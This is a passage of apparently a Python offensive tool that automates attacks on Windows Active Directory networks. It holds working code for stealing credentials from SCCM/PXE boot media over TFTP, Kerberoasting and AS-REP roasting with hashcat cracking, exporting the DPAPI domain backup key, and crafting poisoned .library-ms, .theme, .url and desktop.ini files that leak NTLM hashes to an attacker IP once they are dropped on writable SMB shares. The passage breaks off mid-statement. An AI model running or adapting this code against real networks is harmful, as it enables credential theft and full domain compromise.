ok(f"PXE/TFTP server found: {pxe}")
return pxe
log.warning("No PXE/TFTP server detected on network")
return ""
def run_pxe_attack(cfg: Config) -> bool:
"""Exploit PXE boot environment to extract credentials.
Attack chain:
1. Discover PXE server (DHCP broadcast or nmap)
2. Use pxethiefy to download media variables via TFTP (zero-auth)
3. Attempt blank-password decryption
4. If password-protected, generate hashcat hash for offline cracking
5. Extract Bootstrap.ini, Unattend.xml, VARIABLES.DAT from WIM images
6. Parse credentials (deployment share creds, domain join creds)
"""
phase_header("PHASE 6: PXE BOOT CREDENTIAL THEFT")
iface = cfg.iface or "eth0"
pxe_dir = cfg.work_dir / "pxe-loot"
pxe_dir.mkdir(exist_ok=True)
# Find PXE server
pxe_server = ""
# Method 1: Use pxethiefy DHCP broadcast discovery
pxethiefy_path = find_tool(
"pxethiefy",
paths=[
TOOLS_DIR / "pxethiefy" / "pxethiefy.py",
TOOLS_DIR / "pxethiefy" / "pxethiefy" / "pxethiefy.py",
]
)
if pxethiefy_path:
log.info("🖥️ Using pxethiefy to discover PXE servers via DHCP broadcast...")
pxe_output = pxe_dir / "pxethiefy-explore.txt"
result = run(
pxethiefy_path.split() + ["explore", "-i", iface],
cfg, timeout=90, outfile=pxe_output
)
if pxe_output.exists():
content = pxe_output.read_text()
# Check for downloaded media files
media_files = re.findall(r"Downloaded[:\s]+(\S+\.boot\.var\S*)", content, re.IGNORECASE)
if not media_files:
media_files = list(pxe_dir.glob("*.boot.var")) + list(Path(".").glob("*.boot.var"))
# Check for blank password auto-decrypt
if re.search(r"blank.*password|no.*password|decrypt.*success", content, re.IGNORECASE):
ok("🔓 PXE media has NO password — credentials auto-extracted!")
_parse_pxe_credentials(content, cfg)
return True
# Check for hashcat hash (password-protected)
hashcat_match = re.search(r"(\$sccm\$aes128\$[a-fA-F0-9]+)", content)
if hashcat_match:
pxe_hash = hashcat_match.group(1)
hashfile = pxe_dir / "pxe-hashcat.txt"
hashfile.write_text(pxe_hash + "\n")
ok(f"🔐 PXE media is password-protected — hashcat hash saved")
detail(f"Hash: {pxe_hash[:60]}...")
detail(f"Crack: hashcat -m 28800 {hashfile} rockyou.txt")
# Attempt quick crack
cracked = _try_crack_pxe_hash(hashfile, cfg)
if cracked and media_files:
log.info(f"🔓 Password cracked: {cracked}")
media_file = str(media_files[0])
decrypt_result = run(
pxethiefy_path.split() + ["decrypt", "-p", cracked, "-f", media_file],
cfg, timeout=30, outfile=pxe_dir / "pxethiefy-decrypt.txt"
)
if decrypt_result.returncode == 0:
_parse_pxe_credentials(
(pxe_dir / "pxethiefy-decrypt.txt").read_text(), cfg
)
return True
return False # Hash saved for offline cracking
# Check for Management Point / SharpSCCM output
if re.search(r"ManagementPoint|SMSTSMP|SharpSCCM", content):
ok("📋 SCCM Management Point info extracted from PXE")
_parse_pxe_credentials(content, cfg)
return True
pxe_server_match = re.search(r"PXE.*?server[:\s]+(\d+\.\d+\.\d+\.\d+)",
pxe_output.read_text() if pxe_output.exists() else "",
re.IGNORECASE)
if pxe_server_match:
pxe_server = pxe_server_match.group(1)
else:
log.warning("pxethiefy not found — falling back to manual TFTP extraction")
# Method 2: Manual TFTP extraction (works without pxethiefy)
if not pxe_server:
pxe_server = detect_pxe_server(cfg)
if not pxe_server:
log.warning("No PXE server found — skipping PXE attack")
return False
log.info(f"📂 Attempting manual TFTP file extraction from {pxe_server}...")
return _manual_tftp_extract(pxe_server, pxe_dir, cfg)
def _manual_tftp_extract(pxe_server: str, pxe_dir: Path, cfg: Config) -> bool:
"""Download and inspect PXE boot files via TFTP (zero authentication).
Downloads BCD, WIM files, then mounts WIM to extract:
- Bootstrap.ini (deployment share + creds)
- Unattend.xml (installation config + potential creds)
- VARIABLES.DAT (base64-encoded creds)
"""
got_creds = False
# Common PXE files to attempt downloading via TFTP
tftp_files = [
r"\boot\BCD",
r"\boot\boot.sdi",
r"\boot\x64\images\boot.wim",
r"\boot\x86\images\boot.wim",
r"\tmp\boot.wim",
r"\Deploy\Bootstrap.ini",
r"\SMS\data\variables.dat",
]
if not tool_exists("tftp") and not tool_exists("atftp"):
log.warning("No TFTP client found (apt install tftp or atftp)")
return False
tftp_cmd = "atftp" if tool_exists("atftp") else "tftp"
for remote_path in tftp_files:
local_name = remote_path.replace("\\", "_").lstrip("_")
local_path = pxe_dir / local_name
log.info(f" 📥 TFTP GET: {remote_path}")
if tftp_cmd == "atftp":
result = run(
["atftp", "--get", "--remote-file", remote_path,
"--local-file", str(local_path), pxe_server],
cfg, timeout=60
)
else:
result = run(
["tftp", pxe_server, "-c", "get", remote_path, str(local_path)],
cfg, timeout=60
)
if local_path.exists() and local_path.stat().st_size > 0:
ok(f"Downloaded: {local_name} ({local_path.stat().st_size} bytes)")
# Parse any downloaded Bootstrap.ini directly
for f in pxe_dir.glob("*Bootstrap*"):
content = f.read_text(errors="ignore")
creds = _parse_bootstrap_ini(content, cfg)
if creds:
got_creds = True
# Mount and inspect WIM files
for wim_file in pxe_dir.glob("*.wim"):
creds = _extract_from_wim(wim_file, pxe_dir, cfg)
if creds:
got_creds = True
# Check VARIABLES.DAT for base64-encoded credentials
for dat_file in pxe_dir.glob("*variables*"):
creds = _parse_variables_dat(dat_file, cfg)
if creds:
got_creds = True
if got_creds:
success_box("PXE credential extraction successful")
else:
log.warning("No credentials found in PXE files (images may require further analysis)")
log.warning(f"Downloaded files saved in: {pxe_dir}")
return got_creds
def _extract_from_wim(wim_file: Path, pxe_dir: Path, cfg: Config) -> bool:
"""Mount a WIM file and extract credentials from Bootstrap.ini, Unattend.xml, VARIABLES.DAT."""
mount_dir = pxe_dir / f"wim-mount-{wim_file.stem}"
mount_dir.mkdir(exist_ok=True)
got_creds = False
if not tool_exists("wimlib-imagex") and not tool_exists("wimmountrw"):
log.warning("wimtools not found — cannot mount WIM (apt install wimtools)")
return False
try:
log.info(f"📦 Mounting WIM: {wim_file.name}...")
# Try wimlib-imagex first (more widely available)
if tool_exists("wimlib-imagex"):
result = run(
["wimlib-imagex", "apply", str(wim_file), "1", str(mount_dir)],
cfg, timeout=300
)
else:
result = run(
["wimmountrw", str(wim_file), str(mount_dir)],
cfg, timeout=120
)
if result.returncode != 0:
log.warning(f"Failed to mount/extract WIM: {wim_file.name}")
return False
ok(f"WIM extracted to {mount_dir}")
# Search for credential files
for pattern, parser in [
("**/Bootstrap.ini", _parse_bootstrap_ini),
("**/bootstrap.ini", _parse_bootstrap_ini),
("**/Unattend.xml", _parse_unattend_xml),
("**/unattend.xml", _parse_unattend_xml),
("**/Autounattend.xml", _parse_unattend_xml),
]:
for found_file in mount_dir.glob(pattern):
log.info(f" 🔍 Found: {found_file.relative_to(mount_dir)}")
content = found_file.read_text(errors="ignore")
if parser(content, cfg):
got_creds = True
# Search for VARIABLES.DAT
for dat_file in mount_dir.glob("**/VARIABLES.DAT"):
log.info(f" 🔍 Found: {dat_file.relative_to(mount_dir)}")
if _parse_variables_dat(dat_file, cfg):
got_creds = True
# Search for other interesting files
for interesting in mount_dir.glob("**/*.ini"):
content = interesting.read_text(errors="ignore")
if re.search(r"password|passwd|credential|secret", content, re.IGNORECASE):
log.info(f" 🔑 Potential credentials in: {interesting.relative_to(mount_dir)}")
# Copy to loot directory
loot_file = pxe_dir / f"loot-{interesting.name}"
loot_file.write_text(content)
finally:
# Cleanup mount
if tool_exists("wimlib-imagex"):
pass # apply mode extracts files, no unmount needed
elif tool_exists("wimumount"):
run(["wimumount", str(mount_dir)], cfg, timeout=30)
return got_creds
def _parse_bootstrap_ini(content: str, cfg: Config) -> bool:
"""Parse Bootstrap.ini for deployment share credentials."""
creds_found = False
user_match = re.search(r"UserID=(\S+)", content, re.IGNORECASE)
pass_match = re.search(r"UserPassword=(\S+)", content, re.IGNORECASE)
domain_match = re.search(r"UserDomain=(\S+)", content, re.IGNORECASE)
share_match = re.search(r"DeployRoot=(\S+)", content, re.IGNORECASE)
if user_match:
user = user_match.group(1)
password = pass_match.group(1) if pass_match else ""
domain = domain_match.group(1) if domain_match else ""
share = share_match.group(1) if share_match else ""
ok(f"🔑 PXE Bootstrap.ini credentials found!")
detail(f"User: {domain}\\{user}")
if password:
detail(f"Password: {password}")
if share:
detail(f"Deployment share: {share}")
# Save to loot file
loot = cfg.work_dir / "pxe-creds.txt"
with open(loot, "a") as f:
f.write(f"[Bootstrap.ini]\n")
f.write(f"User: {domain}\\{user}\n")
f.write(f"Password: {password}\n")
f.write(f"Share: {share}\n\n")
# Set as active credentials if we don't have any
if password and not cfg.has_creds:
cfg.username = user
cfg.password = password
if domain:
cfg.domain = domain
ok("🔑 PXE credentials set as active credentials for attack chain")
creds_found = True
return creds_found
def _parse_unattend_xml(content: str, cfg: Config) -> bool:
"""Parse Unattend.xml / Autounattend.xml for credentials."""
creds_found = False
# Look for plaintext passwords in various XML elements
patterns = [
(r"<Password>\s*<Value>([^<]+)</Value>", "Unattend password"),
(r"<AdministratorPassword>\s*<Value>([^<]+)</Value>", "Admin password"),
(r"<Username>([^<]+)</Username>.*?<Password>\s*<Value>([^<]+)</Value>",
"Domain join creds"),
(r"RunSynchronousCommand.*?<Path>[^<]*net use[^<]*(/user:\S+\s+\S+)", "Net use creds"),
]
for pattern, desc in patterns:
for match in re.finditer(pattern, content, re.DOTALL | re.IGNORECASE):
value = match.group(1)
# Skip base64 "true" markers
if value.lower() in ("true", "false"):
continue
ok(f"🔑 {desc} found in Unattend.xml")
detail(f"Value: {value}")
loot = cfg.work_dir / "pxe-creds.txt"
with open(loot, "a") as f:
f.write(f"[Unattend.xml - {desc}]\n")
f.write(f"Value: {value}\n\n")
creds_found = True
return creds_found
def _parse_variables_dat(dat_file: Path, cfg: Config) -> bool:
"""Parse VARIABLES.DAT for base64-encoded credentials."""
import base64
creds_found = False
try:
content = dat_file.read_text(errors="ignore")
except Exception:
content = dat_file.read_bytes().decode("utf-16-le", errors="ignore")
for var_name in ["USERID", "USERPASSWORD", "USERDOMAIN"]:
match = re.search(rf"{var_name}=(\S+)", content, re.IGNORECASE)
if match:
raw_value = match.group(1)
# Try base64 decode
try:
decoded = base64.b64decode(raw_value).decode("utf-8", errors="ignore")
ok(f"🔑 VARIABLES.DAT: {var_name} = {decoded}")
except Exception:
decoded = raw_value
ok(f"🔑 VARIABLES.DAT: {var_name} = {raw_value}")
loot = cfg.work_dir / "pxe-creds.txt"
with open(loot, "a") as f:
f.write(f"[VARIABLES.DAT]\n{var_name} = {decoded}\n\n")
# Set credentials
if var_name == "USERID" and not cfg.username:
cfg.username = decoded
elif var_name == "USERPASSWORD" and not cfg.password:
cfg.password = decoded
elif var_name == "USERDOMAIN" and not cfg.domain:
cfg.domain = decoded
creds_found = True
if creds_found and cfg.has_creds:
ok("🔑 PXE credentials set as active credentials for attack chain")
return creds_found
def _parse_pxe_credentials(output: str, cfg: Config) -> bool:
"""Parse pxethiefy output for SCCM Management Point info and credentials."""
creds_found = False
# Management Point URL
mp_match = re.search(r"SMSTSMP[=:\s]+(\S+)", output, re.IGNORECASE)
if mp_match:
ok(f"📋 SCCM Management Point: {mp_match.group(1)}")
creds_found = True
# Site code
site_match = re.search(r"SiteCode[=:\s]+(\S+)", output, re.IGNORECASE)
if site_match:
detail(f"Site Code: {site_match.group(1)}")
# Media GUID
guid_match = re.search(r"MediaGuid[=:\s]+(\S+)", output, re.IGNORECASE)
if guid_match:
detail(f"Media GUID: {guid_match.group(1)}")
# Network Access Account
naa_user = re.search(r"NetworkAccess.*?User(?:name)?[=:\s]+(\S+)", output, re.IGNORECASE)
naa_pass = re.search(r"NetworkAccess.*?Pass(?:word)?[=:\s]+(\S+)", output, re.IGNORECASE)
if naa_user:
ok(f"🔑 Network Access Account: {naa_user.group(1)}")
if naa_pass:
detail(f"Password: {naa_pass.group(1)}")
if not cfg.has_creds:
cfg.username = naa_user.group(1)
cfg.password = naa_pass.group(1)
creds_found = True
# Save all output
loot = cfg.work_dir / "pxe-creds.txt"
with open(loot, "a") as f:
f.write(f"[pxethiefy output]\n{output}\n\n")
return creds_found
def _try_crack_pxe_hash(hashfile: Path, cfg: Config) -> str:
"""Attempt to crack SCCM PXE media password hash."""
cracked_file = cfg.work_dir / "pxe-loot" / "pxe-cracked.txt"
wordlist = None
for wl in WORDLISTS:
if wl.exists() and wl.suffix != ".gz":
wordlist = wl
break
if not wordlist:
return ""
# hashcat mode 28800 = SCCM PXE media
if tool_exists("hashcat"):
log.info(f"⚙️ Cracking PXE hash with hashcat (mode 28800)...")
run(
["hashcat", "-m", "28800", str(hashfile), str(wordlist),
"--outfile", str(cracked_file), "--outfile-format=2", "--quiet"],
cfg, timeout=120
)
if cracked_file.exists() and cracked_file.stat().st_size > 0:
return _first_line(cracked_file.read_text())
return ""
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Kerberoasting + AS-REP Roasting
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _kerberoast(cfg: Config) -> list[str]:
"""Run impacket-GetUserSPNs to harvest TGS-REP hashes for cracking."""
if not tool_exists("impacket-GetUserSPNs"):
log.warning("impacket-GetUserSPNs not found — skipping Kerberoasting")
return []
hashfile = cfg.work_dir / "kerberoast-hashes.txt"
log.info("Requesting TGS tickets for service accounts (Kerberoasting)...")
cmd = ["impacket-GetUserSPNs"]
if cfg.nthash:
cmd += [f"{cfg.domain}/{cfg.username}", "-hashes", f":{cfg.nthash}"]
else:
cmd += [f"{cfg.domain}/{cfg.username}:{cfg.password}"]
cmd += ["-dc-ip", cfg.dc_ip, "-request", "-outputfile", str(hashfile)]
result = run(cmd, cfg, timeout=120)
if result.returncode != 0:
log.warning(f"GetUserSPNs failed: {_first_line(result.stderr or '')}")
return []
# Count SPNs found
spn_count = len(re.findall(r"SPN\s+", result.stdout or "", re.IGNORECASE))
if spn_count:
ok(f"Found {spn_count} SPN(s) with Kerberoastable service accounts")
if not hashfile.exists() or hashfile.stat().st_size == 0:
log.warning("No Kerberoast hashes obtained (no SPNs or all AES-only)")
return []
hashes = [l.strip() for l in hashfile.read_text().splitlines() if l.strip()]
ok(f"Captured {len(hashes)} Kerberoast TGS-REP hash(es)")
return hashes
def _asrep_roast(cfg: Config) -> list[str]:
"""Run impacket-GetNPUsers to harvest AS-REP hashes for accounts without pre-auth."""
if not tool_exists("impacket-GetNPUsers"):
log.warning("impacket-GetNPUsers not found — skipping AS-REP Roasting")
return []
hashfile = cfg.work_dir / "asrep-hashes.txt"
log.info("Checking for accounts without Kerberos pre-authentication (AS-REP Roasting)...")
# With creds, we can enumerate and request all at once
cmd = ["impacket-GetNPUsers"]
if cfg.nthash:
cmd += [f"{cfg.domain}/{cfg.username}", "-hashes", f":{cfg.nthash}"]
else:
cmd += [f"{cfg.domain}/{cfg.username}:{cfg.password}"]
cmd += ["-dc-ip", cfg.dc_ip, "-request", "-format", "hashcat",
"-outputfile", str(hashfile)]
# If we have a user list, use it instead for unauthenticated mode
users_file = cfg.work_dir / "domain-users.txt"
if users_file.exists() and not cfg.has_creds:
cmd = [
"impacket-GetNPUsers", f"{cfg.domain}/",
"-dc-ip", cfg.dc_ip,
"-usersfile", str(users_file),
"-format", "hashcat",
"-outputfile", str(hashfile),
]
result = run(cmd, cfg, timeout=120)
if result.returncode != 0:
log.warning(f"GetNPUsers failed: {_first_line(result.stderr or '')}")
return []
if not hashfile.exists() or hashfile.stat().st_size == 0:
log.info("No AS-REP roastable accounts found (all have pre-auth enabled)")
return []
hashes = [l.strip() for l in hashfile.read_text().splitlines() if l.strip()]
ok(f"Captured {len(hashes)} AS-REP hash(es)")
return hashes
def _crack_roast_hashes(hashfile: Path, mode: int, label: str, cfg: Config) -> list[str]:
"""Crack Kerberoast or AS-REP hashes with hashcat. Returns list of cracked passwords."""
if not hashfile.exists() or hashfile.stat().st_size == 0:
return []
cracked_file = hashfile.parent / f"{hashfile.stem}-cracked.txt"
# Find wordlist (prefer uncompressed, auto-decompress .gz)
wordlist = None
for wl in WORDLISTS:
if wl.exists() and wl.suffix != ".gz":
wordlist = wl
break
if wl.suffix == ".gz" and wl.exists():
plain = wl.with_suffix("")
if plain.exists():
wordlist = plain
break
log.info(f"📦 Decompressing {wl.name}...")
run(["gunzip", "-k", str(wl)], cfg, timeout=60)
if plain.exists():
wordlist = plain
break
if not tool_exists("hashcat"):
log.warning(f"hashcat not found — cannot crack {label} hashes")
detail(f"Crack manually: hashcat -m {mode} {hashfile} <wordlist>")
return []
# Quick-crack: extract usernames from hashes and try username=password patterns
usernames = set()
for line in hashfile.read_text().splitlines():
if "$" in line:
# Kerberoast: $krb5tgs$23$*USER$DOMAIN*...
# AS-REP: $krb5asrep$23$USER@DOMAIN:...
user_match = re.search(r"\$\*?([^$@:*]+?)[\$@*]", line)
if user_match:
usernames.add(user_match.group(1))
if usernames:
mini_wl = hashfile.parent / f"{hashfile.stem}-quick-wordlist.txt"
patterns = []
for u in usernames:
patterns += [u, u.lower(), u.upper(), u.capitalize(),
f"{u}1", f"{u}123", f"{u}!", f"{u}1!",
u[::-1]]
patterns += ["password", "Password1", "P@ssw0rd", "Welcome1",
"Changeme1", "Winter2026", "Summer2026", "Admin123",
"Company1", "letmein", "qwerty", "123456"]
mini_wl.write_text("\n".join(patterns) + "\n")
log.info(f"⚡ Quick-crack: trying {len(patterns)} username patterns for {label}...")
run(
["hashcat", "-m", str(mode), str(hashfile), str(mini_wl),
"--outfile", str(cracked_file), "--outfile-format=2", "--quiet",
"--runtime=10"],
cfg, timeout=15
)
if cracked_file.exists() and cracked_file.stat().st_size > 0:
ok(f"⚡ Quick-crack hit for {label}!")
if not wordlist:
log.warning(f"No wordlist found for {label} cracking")
if cracked_file.exists() and cracked_file.stat().st_size > 0:
# Quick-crack found something even without wordlist
pass
else:
return []
if wordlist:
log.info(f"Cracking {label} hashes (hashcat mode {mode})...")
run(
["hashcat", "-m", str(mode), str(hashfile), str(wordlist),
"--outfile", str(cracked_file), "--outfile-format=2", "--quiet",
"--runtime=240"], # Hard cap: 4 minutes max
cfg, timeout=300 # Process kill safety net: 5 minutes
)
if not cracked_file.exists() or cracked_file.stat().st_size == 0:
log.warning(f"No {label} passwords cracked with wordlist {wordlist.name}")
return []
cracked = [l.strip() for l in cracked_file.read_text().splitlines() if l.strip()]
ok(f"Cracked {len(cracked)} {label} password(s)!")
for pw in cracked:
detail(f" {pw}")
return cracked
def run_roast_attack(cfg: Config) -> bool:
"""Kerberoast + AS-REP Roast to harvest crackable service account hashes."""
phase_header("KERBEROASTING + AS-REP ROASTING")
if not cfg.has_creds:
log.error("Roasting requires domain credentials (-u/-p or -H)")
return False
any_cracked = False
# 1. Kerberoasting
kerb_hashes = _kerberoast(cfg)
if kerb_hashes:
hashfile = cfg.work_dir / "kerberoast-hashes.txt"
# Detect hash type from prefix
sample = kerb_hashes[0] if kerb_hashes else ""
if "$krb5tgs$17$" in sample or "$krb5tgs$18$" in sample:
mode = 19700 # AES
detail("Hash type: Kerberos 5 TGS-REP AES (mode 19700)")
else:
mode = 13100 # RC4 (default, $krb5tgs$23$)
detail("Hash type: Kerberos 5 TGS-REP RC4 (mode 13100)")
cracked = _crack_roast_hashes(hashfile, mode, "Kerberoast", cfg)
if cracked:
any_cracked = True
# Save cracked creds
cred_file = cfg.work_dir / "kerberoast-cracked.txt"
cred_file.write_text("\n".join(cracked) + "\n")
success_box(f"Kerberoast: {len(cracked)} password(s) cracked!")
separator()
# 2. AS-REP Roasting
asrep_hashes = _asrep_roast(cfg)
if asrep_hashes:
hashfile = cfg.work_dir / "asrep-hashes.txt"
cracked = _crack_roast_hashes(hashfile, 18200, "AS-REP", cfg)
if cracked:
any_cracked = True
cred_file = cfg.work_dir / "asrep-cracked.txt"
cred_file.write_text("\n".join(cracked) + "\n")
success_box(f"AS-REP Roast: {len(cracked)} password(s) cracked!")
if not kerb_hashes and not asrep_hashes:
log.warning("No roastable accounts found in the domain")
elif not any_cracked and (kerb_hashes or asrep_hashes):
log.warning("Hashes captured but not cracked — try larger wordlists or rules")
detail(f"Kerberoast hashes: {cfg.work_dir / 'kerberoast-hashes.txt'}")
detail(f"AS-REP hashes: {cfg.work_dir / 'asrep-hashes.txt'}")
return any_cracked
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# DPAPI Backup Key Extraction
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def run_dpapi_backup(cfg: Config) -> bool:
"""Extract DPAPI domain backup key after successful DCSync."""
phase_header("DPAPI BACKUP KEY EXTRACTION")
if not tool_exists("impacket-dpapi"):
log.warning("impacket-dpapi not found — skipping DPAPI backup key extraction")
return False
if not cfg.has_creds:
log.error("DPAPI backup key extraction requires domain credentials")
return False
# Check if secretsdump ran successfully
dump_file = cfg.work_dir / "secretsdump.txt"
if dump_file.exists() and ":::" in dump_file.read_text():
ok("DCSync output found — proceeding with DPAPI backup key extraction")
else:
log.warning("No secretsdump output found — DPAPI extraction may fail without DA privileges")
log.info("Extracting DPAPI domain backup key...")
pvk_output = cfg.work_dir / "dpapi-backupkey.pvk"
# Format: impacket-dpapi backupkeys -t domain/user:password@DC_IP --export
target = cfg.dc_ip or cfg.dc_fqdn
cmd = ["impacket-dpapi", "backupkeys", "--export"]
if cfg.nthash:
cmd += ["-t", f"{cfg.domain}/{cfg.username}@{target}",
"-hashes", f"aad3b435b51404eeaad3b435b51404ee:{cfg.nthash}"]
else:
cmd += ["-t", f"{cfg.domain}/{cfg.username}:{cfg.password}@{target}"]
result = run(cmd, cfg, timeout=120, outfile=cfg.work_dir / "dpapi-backup.txt")
if result.returncode != 0:
log.warning(f"DPAPI backup key extraction failed: {_first_line(result.stderr or '')}")
return False
# Look for .pvk file — impacket-dpapi writes to cwd or work_dir
pvk_found = False
for candidate in [
Path(".") / "ntds_capi_0_*.pvk",
Path(".") / "*.pvk",
cfg.work_dir / "ntds_capi_0_*.pvk",
cfg.work_dir / "*.pvk",
Path.home() / "ntds_capi_0_*.pvk",
Path.home() / "*.pvk",
]:
for pvk in candidate.parent.glob(candidate.name):
try:
import shutil as _shutil
_shutil.copy2(str(pvk), str(pvk_output))
pvk_found = True
ok(f"DPAPI backup key saved: {pvk_output}")
break
except Exception as e:
log.warning(f"Failed to copy PVK file: {e}")
if pvk_found:
break
# Also check output text and saved output file for key material
output_text = result.stdout or ""
backup_txt = cfg.work_dir / "dpapi-backup.txt"
if backup_txt.exists():
output_text += backup_txt.read_text()
if "Exporting private key" in output_text or "backupkey" in output_text.lower() or pvk_found:
success_box("DPAPI domain backup key extracted!")
detail("This key decrypts ALL user DPAPI secrets (credentials, certificates, etc.)")
detail("Usage: dpapi.py masterkey -file <masterkey> -pvk dpapi-backupkey.pvk")
detail("Then: dpapi.py credential -file <blob> -key <decrypted_key>")
return True
if re.search(r"backup.*key|domain.*key|private.*key", output_text, re.IGNORECASE):
ok("DPAPI backup key data retrieved (check output for key material)")
return True
log.warning("DPAPI backup key extraction did not produce expected output")
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# NTLM Theft File Drops (CVE-2025-24054 / CVE-2024-21320)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _craft_ntlm_theft_files(attacker_ip: str, work_dir: Path) -> list[Path]:
"""Craft poisoned files that trigger NTLM authentication when a user browses a share."""
theft_dir = work_dir / "ntlm-theft"
theft_dir.mkdir(exist_ok=True)
files = []
# desktop.ini — triggers when folder is browsed in Explorer
ini_path = theft_dir / "desktop.ini"
ini_path.write_text(
f"[.ShellClassInfo]\n"
f"IconResource=\\\\{attacker_ip}\\share\\icon.ico\n"
)
files.append(ini_path)
# .library-ms — triggers on folder browse (Windows Library format)
lib_path = theft_dir / "Documents.library-ms"
lib_path.write_text(
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">\n'
' <name>@shell32.dll,-34575</name>\n'
' <version>2</version>\n'
' <isLibraryPinned>true</isLibraryPinned>\n'
' <iconReference>imageres.dll,-1003</iconReference>\n'
' <searchConnectorDescriptionList>\n'
' <searchConnectorDescription>\n'
' <isDefaultSaveLocation>true</isDefaultSaveLocation>\n'
f' <simpleLocation><url>\\\\{attacker_ip}\\share</url></simpleLocation>\n'
' </searchConnectorDescription>\n'
' </searchConnectorDescriptionList>\n'
'</libraryDescription>\n'
)
files.append(lib_path)
# .theme — triggers when file is previewed or opened
theme_path = theft_dir / "company.theme"
theme_path.write_text(
"[Theme]\n"
"DisplayName=Corporate Theme\n"
f"BrandImage=\\\\{attacker_ip}\\share\\bg.jpg\n"
"\n"
"[Control Panel\\Desktop]\n"
f"Wallpaper=\\\\{attacker_ip}\\share\\wallpaper.jpg\n"
)
files.append(theme_path)
# .url — triggers when icon is loaded by Explorer
url_path = theft_dir / "important.url"
url_path.write_text(
"[InternetShortcut]\n"
"URL=https://example.com\n"
f"IconFile=\\\\{attacker_ip}\\share\\icon.ico\n"
"IconIndex=0\n"
)
files.append(url_path)
# .searchConnector-ms — triggers on folder browse
sc_path = theft_dir / "Search.searchConnector-ms"
sc_path.write_text(
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">\n'
' <description>Search Connector</description>\n'
f' <simpleLocation><url>\\\\{attacker_ip}\\share</url></simpleLocation>\n'
'</searchConnectorDescription>\n'
)
files.append(sc_path)
ok(f"Crafted {len(files)} NTLM theft file(s) in {theft_dir}")
return files
def _find_writable_shares(cfg: Config) -> list[tuple[str, str]]:
"""Discover writable SMB shares on the network. Returns list of (host, share) tuples."""
shares = []
target = cfg.specific_target or cfg.target_net
if not target:
log.warning("No target for share enumeration")
return []
log.info(f"Enumerating writable SMB shares on {target}...")
shares_output = cfg.work_dir / "writable-shares.txt"
if cfg.has_creds:
cmd = ["nxc", "smb", target]
if cfg.nthash:
cmd += ["-u", cfg.username, "-H", cfg.nthash, "-d", cfg.domain]
else:
cmd += ["-u", cfg.username, "-p", cfg.password, "-d", cfg.domain]
cmd += ["--shares"]
else:
cmd = ["nxc", "smb", target, "--shares", "-u", "", "-p", ""]
result = run(cmd, cfg, timeout=120, outfile=shares_output)
if result.returncode != 0:
log.warning("Share enumeration failed")
return []
# Parse nxc output for writable shares
# Format: SMB 10.0.0.1 445 DC01 ShareName READ,WRITE Comment
for line in (result.stdout or "").splitlines():
if "WRITE" in line.upper():
parts = line.split()
# Find the IP (second field after SMB marker)
ip_match = re.search(r"(\d+\.\d+\.\d+\.\d+)", line)
if ip_match:
host = ip_match.group(1)
# Find share name — usually comes after the hostname
share_match = re.search(
r"\d+\.\d+\.\d+\.\d+\s+\d+\s+\S+\s+(\S+)\s+.*WRITE",
line, re.IGNORECASE
)
if share_match:
share_name = share_match.group(1)
# Skip default admin shares
if share_name.upper() not in ("C$", "ADMIN$", "IPC$"):
shares.append((host, share_name))
if shares:
ok(f"Found {len(shares)} writable share(s)")
for host, share in shares:
detail(f" \\\\{host}\\{share}")
else:
log.warning("No writable shares found")
return shares
def _drop_file_on_share(host: str, share: str, local_file: Path,
remote_name: str, cfg: Config) -> bool:
"""Drop a file onto a writable SMB share."""
log.info(f" Dropping {remote_name} on \\\\{host}\\{share}")
if cfg.has_creds:
cmd = ["nxc", "smb", host]
if cfg.nthash:
cmd += ["-u", cfg.username, "-H", cfg.nthash, "-d", cfg.domain]
else:
cmd += ["-u", cfg.username, "-p", cfg.password, "-d", cfg.domain]
cmd += ["--put-file", str(local_file), remote_name]
result = run(cmd, cfg, timeout=30)
else:
# Null session via smbclient
if not tool_exists("smbclient"):
log.warning("smbclient not found for null session upload")
return False
result = run(
["smbclient", f"//{host}/{share}", "-N",
"-c", f"put {local_file} {remote_name}"],
cfg, timeout=30
)
if result.returncode == 0:
ok(f" Dropped {remote_name} on \\\\{host}\\{share}")
return True
else:
log.warning(f" Failed to drop {remote_name} on \\\\{host}\\{share}")
return False
def run_ntlm_theft(cfg: Config) -> bool:
"""Drop poisoned files on writable SMB shares to capture NTLM hashes."""
phase_header("NTLM THEFT FILE DROPS (CVE-2025-24054 / CVE-2024-21320)")
if not cfg.attacker_ip:
log.error("Attacker IP required for NTLM theft files — use -a")
return False
# 1. Craft poisoned files
theft_files = _craft_ntlm_theft_files(cfg.attacker_ip, cfg.work_dir)
if not theft_files:
log.error("Failed to craft NTLM theft files")
return False
# 2. Find writable shares
writable_shares = _find_writable_shares(cfg)
if not writable_shares:
log.warning("No writable shares found — cannot drop NTLM theft files")
return False
# 3. Drop files on shares
drops_file = cfg.work_dir / "ntlm-theft-drops.txt"
dropped = 0
with open(drops_file, "w") as f:
for host, share in writable_shares:
for theft_file in theft_files:
remote_name = theft_file.name
if _drop_file_on_share(host, share, theft_file, remote_name, cfg):
f.write(f"\\\\{host}\\{share}\\{remote_name}\n")
dropped += 1
if dropped == 0:
log.warning("Failed to drop any NTLM theft files")
return False
ok(f"Dropped {dropped} file(s) across {len(writable_shares)} share(s)")
detail(f"Drops tracked in: {drops_file}")
# 4. Start Responder to capture hashes (if ntlmrelayx isn't already running)
iface = cfg.iface or "eth0"
bg_procs = []
captured = False
try:
# Check if ntlmrelayx is already running (port conflict with Responder)
ntlmrelayx_running = False
try:
check = subprocess.run(
